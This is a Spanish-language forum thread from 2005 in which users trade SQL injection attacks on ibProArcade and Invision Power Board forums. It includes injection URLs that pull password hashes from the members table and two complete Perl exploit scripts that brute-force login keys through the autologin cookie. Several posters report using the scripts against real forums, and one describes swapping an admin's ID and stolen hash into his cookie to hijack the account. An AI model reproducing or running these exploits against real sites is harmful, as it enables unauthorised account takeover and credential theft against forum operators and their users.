Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)
Autor
|
Tema: ibProArcade 2.x module (vBulletin/IPB) Remote SQL Injection Exploit (Leído 4,565 veces)
|
|
Rey11
|
# Rankings for (name) will state the md5 hash for the user /str0ke # ibProArcade 2.x IPB: index.php?act=Arcade&module=report&user=-1 union select password from ibf_members where id=[any_user] vBulettin forums: index.php?act=ibProArcade&module=report&user=-1 union select password from user where userid=[any_user] Author: B~HFH Email: bhfh01@gmail.com[2005-11-06] Espero que hos sea útil, afecta al foro de vbulletin y al IPB.
|
|
|
|
|
En línea
|
|
|
|
BenRu
The Prodigy
Desconectado
Mensajes: 4.004
|
Jajajaja... No utiliceis este email para hacer putadas 
|
|
|
|
|
En línea
|
|
|
|
|
|
mousehack
Desconectado
Mensajes: 1.142
Ex-Colaborador....!!!!!!XD
|
te falta completar la declaracion SQL, debes poner la linea entera: index.php?act=Arcade&module=report&user=-1 union select password from ibf_members where id=[any_user] Salu2
|
|
|
|
|
En línea
|
|
|
|
|
|
mousehack
Desconectado
Mensajes: 1.142
Ex-Colaborador....!!!!!!XD
|
no probaste con poner donde dice ¨any_user¨(sin corchetes) el nombre de cualquier usuario?
Salu2
|
|
|
|
|
En línea
|
|
|
|
ZyrroX
Desconectado
Mensajes: 38
|
Si probe pero no se si esq estan ya todos los foros parcheados o esque hago algo mal... busque un poco de informacion en google y encontre esto: i have found an sql injection in the popular ipbproarcade mod for ipb systems (1.x and 2.x) the vuln exists in the "category" field. buy using this field it is possible to inject any sql query and compemise the entire forum system p.o.c for ipb 1.x http://site.com/index.php?act=Arcade&cat=-1%20UNION%20SELECT%200,0,password,id,name,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members/*for ipb 2.x index.php?act=Arcade&cat=-1%20UNION%20SELECT%200,0,legacy_password,id,name,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members/* discovered by Axl credit goes to HLL for Helping me write the actual exploit greetz to CereBrums And JonJon Pero sigo sin conseguir nada.... si alguien me puede exhar un cable pos me vendria de perlas jejeje. 
|
|
|
|
|
En línea
|
|
|
|
JinRoh
Desconectado
Mensajes: 14
|
A mi tampoco me funciona de ninguna forma, alguien podria ayudarnos? O Explicarlo, poniendo algun ejemplo, he probado de las 2 formas y nada 
|
|
|
|
|
En línea
|
|
|
|
mousehack
Desconectado
Mensajes: 1.142
Ex-Colaborador....!!!!!!XD
|
aqui tienes un exploit que podrias usar para IPB 1.x o 2.x #!/usr/bin/perl -w ################################################################## # This one actually works :) Just paste the outputted cookie into # your request header using livehttpheaders or something and you # will probably be logged in as that user. No need to decrypt it! # Exploit coded by "ReMuSOMeGa & Nova" and http://remusomega.com ##################################################################
use LWP::UserAgent;
$ua = new LWP::UserAgent; $ua->agent("Mosiac 1.0" . $ua->agent);
if (!$ARGV[0]) {$ARGV[0] = '';} if (!$ARGV[3]) {$ARGV[3] = '';}
my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin'; my $user = $ARGV[1]; # userid to jack my $iver = $ARGV[2]; # version 1 or 2 my $cpre = $ARGV[3]; # cookie prefix my $dbug = $ARGV[4]; # debug?
if (!$ARGV[2]) { print "..By ReMuSoMeGa & Nova. Usage: ipb.pl http://forums.site.org [id] [ver 1/2].\n\n"; exit; }
my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");
my $outputs = '';
for( $i=1; $i < 33; $i++ ) { for( $j=0; $j < 16; $j++ ) { my $current = $charset[$j]; my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" : "99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*"; my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql); my $res = $ua->get($path, @cookie);
# If we get a valid sql request then this # does not appear anywhere in the sources $pattern = '<title>(.*)Log In(.*)</title>';
$_ = $res->content;
if ($dbug) { print };
if ( !(/$pattern/) ) { $outputs .= $current; print "$current\n"; last; }
} if ( length($outputs) < 1 ) { print "Not Exploitable!\n"; exit; } } print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs; exit; Salu2
|
|
|
|
|
En línea
|
|
|
|
JinRoh
Desconectado
Mensajes: 14
|
Ese exploit tampoco me funciona, siempre me dice hash 000000000000000000
Lo probaste tu?
|
|
|
|
|
En línea
|
|
|
|
mousehack
Desconectado
Mensajes: 1.142
Ex-Colaborador....!!!!!!XD
|
si lo probe y me funciono bien  , aqui tienes otro para probar: #!/usr/bin/perl
## Invision Power Board SQL injection exploit by RST/GHC ## vulnerable forum versions : 1.* , 2.* (<2.0.4) ## tested on version 1.3 Final and version 2.0.2 ## * work on all mysql versions ## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On) ## (c)oded by 1dt.w0lf ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## screen: ## ~~~~~~~ ## r57ipb2.pl blah.com /ipb13/ 1 0 ## [~] SERVER : blah.com ## [~] PATH : /ipb13/ ## [~] MEMBER ID : 1 ## [~] TARGET : 0 - IPB 1.* ## [~] SEARCHING PASSWORD ... [ DONE ] ## ## MEMBER ID : 1 ## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99 ## ## r57ipb2.pl blah.com /ipb202/ 1 1 ## [~] SERVER : blah.com ## [~] PATH : /ipb202/ ## [~] MEMBER ID : 1 ## [~] TARGET : 1 - IPB 2.* ## [~] SEARCHING PASSWORD ... [ DONE ] ## ## MEMBER ID : 1 ## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## Greets: James Bercegay of the GulfTech Security Research Team ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
use IO::Socket;
if (@ARGV < 4) { &usage; }
$server = $ARGV[0]; $path = $ARGV[1]; $member_id = $ARGV[2]; $target = $ARGV[3];
$pass = ($target)?('member_login_key'):('password');
$server =~ s!(http:\/\/)!!;
$request = 'http://'; $request .= $server; $request .= $path;
$s_num = 1; $|++; $n = 0;
print "[~] SERVER : $server\r\n"; print "[~] PATH : $path\r\n"; print "[~] MEMBER ID : $member_id\r\n"; print "[~] TARGET : $target"; print (($target)?(' - IPB 2.*'):(' - IPB 1.*')); print "\r\n"; print "[~] SEARCHING PASSWORD ... [|]";
($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
while(1) { if(&found(47,58)==0) { &found(96,122); } $char = $i; if ($char=="0") { if(length($allchar) > 0){ print qq{\b\b DONE ] MEMBER ID : $member_id }; print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : ')); print $allchar."\r\n"; } else { print "\b\b FAILED ]"; } exit(); } else { $allchar .= chr($char); } $s_num++; }
sub found($$) { my $fmin = $_[0]; my $fmax = $_[1]; if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; } $r = int($fmax - ($fmax-$fmin)/2); $check = " BETWEEN $r AND $fmax"; if ( &check($check) ) { &found($r,$fmax); } else { &found($fmin,$r); } } sub crack($$) { my $cmin = $_[0]; my $cmax = $_[1]; $i = $cmin; while ($i<$cmax) { $crcheck = "=$i"; if ( &check($crcheck) ) { return $i; } $i++; } $i = 0; return $i; } sub check($) { $n++; status(); $ccheck = $_[0]; $pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D"; $pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28"; $pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*"; $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $nmalykh = "%20%EC%E0%EB%FB%F5%20%2D%20%EF%E8%E4%E0%F0%E0%F1%21%20"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");
printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n", $path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3,$nmalykh); while(<$socket>) { if (/Set-Cookie: session_id=0;/) { return 1; } }
return 0; } sub status() { $status = $n % 5; if($status==0){ print "\b\b/]"; } if($status==1){ print "\b\b-]"; } if($status==2){ print "\b\b\\]"; } if($status==3){ print "\b\b|]"; } }
sub usage() { print q( Invision Power Board v < 2.0.4 SQL injection exploit ---------------------------------------------------- USAGE: ~~~~~~ r57ipb2.pl [server] [/folder/] [member_id] [target] [server] - host where IPB installed [/folder/] - folder where IPB installed [member_id] - user id for brute targets: 0 - IPB 1.* 1 - IPB 2.* (Prior To 2.0.4) e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1 ---------------------------------------------------- (c)oded by 1dt.w0lf RST/GHC , http://rst.void.ru , http://ghc.ru ); exit(); } Salu2
|
|
|
|
|
En línea
|
|
|
|
ZyrroX
Desconectado
Mensajes: 38
|
Si este ya lo habia probado y funciona gracias... 8)
|
|
|
|
|
En línea
|
|
|
|
JinRoh
Desconectado
Mensajes: 14
|
¿Tan tonto soy? He probado en 10 foros diferentes con los 2 exploits, y nada en ninguno ni siquiera hace un amago de funcionar, todos dan failed. Por ejemplo en el 2º pongo perl exploit.pl http://direcciondelforo.com /carpeta/ 1 1 Y siempre me da failed, tambien he probado a cambiar el user id pero tampoco 
|
|
|
|
|
En línea
|
|
|
|
JinRoh
Desconectado
Mensajes: 14
|
Opps! Muchas gracias, ya me esta funcionando (creo) me ha dado el hash en md5,
Thx
|
|
|
|
|
En línea
|
|
|
|
jeancarl00
Desconectado
Mensajes: 19
|
holas yo tengo una duda .:: toy crackeando un passhash en md5 con cain pero como q puede tardar laaaaaargo rato asi q me baje el iecookiesview , me registre en la web para ver la forma de la cookie y es en esto donde tengo la duda esta es su estructura: esta es mi cookie --------------------------------------------------- key value __utm1 1132512720 anonlogin 1 forum_read a:1:{i:3;i:1132515943;} member_id 2095 pass_hash 124bd1296bec0d9d93c7b52a71ad8d5b --------------------------------------------------------------------- y ahora la quiero reemplazar asi ------------------------------------------------------------- key value __utm1 1132512720 anonlogin 1 forum_read a:1:{i:3;i:1132515943;} member_id 1 pass_hash 36e162cc447765f7bfe75abf3cec0a84 ------------------------------------------------------------ donde member_id value 1 es el admin (supongo) pass_hash es el md5 q me dio el xploit pero el valor de __utm1 no se q es realmente y ese mismo valor se repite en forum_read a:1:{i:3;i: 1132515943;} tambien en forum_read ( por lo q entiendo foro leido  ) hay esto a:1:{ i:3;i:1132515943;} tampoco lo entiedo  bueno a ver si hay sugerencias o si pueden intentarlo de esta manera o parecida la cosa es aclarar las dudas --------------------------------------------------------- tambien queria decir q de la 1era forma no me sale index.php?act=Arcade&module=report&user=-1 union select password from ibf_members where id=[any_user] pongo mi user jeancarl00 y no veo nada .. pero me fijo en la parte de abajo y veo q el campo de la contraseña ya esta escrito (osea con los puntos negros ) intento logearme pero siempre sale como guest 
|
|
|
|
« Última modificación: 20 Noviembre 2005, 20:49 por jeancarl00 »
|
En línea
|
|
|
|
|
|